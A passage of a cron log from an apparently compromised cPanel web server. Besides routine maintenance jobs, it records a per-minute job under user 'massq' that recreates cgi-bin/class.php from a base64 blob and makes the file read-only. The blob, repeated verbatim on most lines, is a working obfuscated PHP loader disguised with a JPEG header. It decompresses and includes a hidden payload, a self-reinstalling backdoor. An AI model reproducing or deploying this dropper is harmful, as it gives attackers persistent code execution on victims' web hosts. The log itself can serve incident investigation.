QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:56:01 server CROND[21198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:57:01 server CROND[21269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:57:01 server CROND[21270]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 07:58:01 server CROND[21330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 07:59:01 server CROND[21396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:00:01 server CROND[21558]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Apr 10 08:00:01 server CROND[21559]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 08:00:01 server CROND[21561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:00:01 server CROND[21560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:00:01 server CROND[21563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:00:01 server CROND[21562]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 08:01:01 server CROND[21698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:01:01 server CROND[21699]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 08:01:01 server run-parts(/etc/cron.hourly)[21699]: starting 0anacron
Apr 10 08:01:01 server run-parts(/etc/cron.hourly)[21711]: finished 0anacron
Apr 10 08:02:01 server CROND[21789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:03:01 server CROND[21850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:04:01 server CROND[21915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:05:01 server CROND[22074]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 10 08:05:01 server CROND[22076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:05:01 server CROND[22078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:05:01 server CROND[22077]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 08:05:01 server CROND[22075]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:06:01 server CROND[22201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:07:01 server CROND[22256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:08:01 server CROND[22323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:09:01 server CROND[22388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 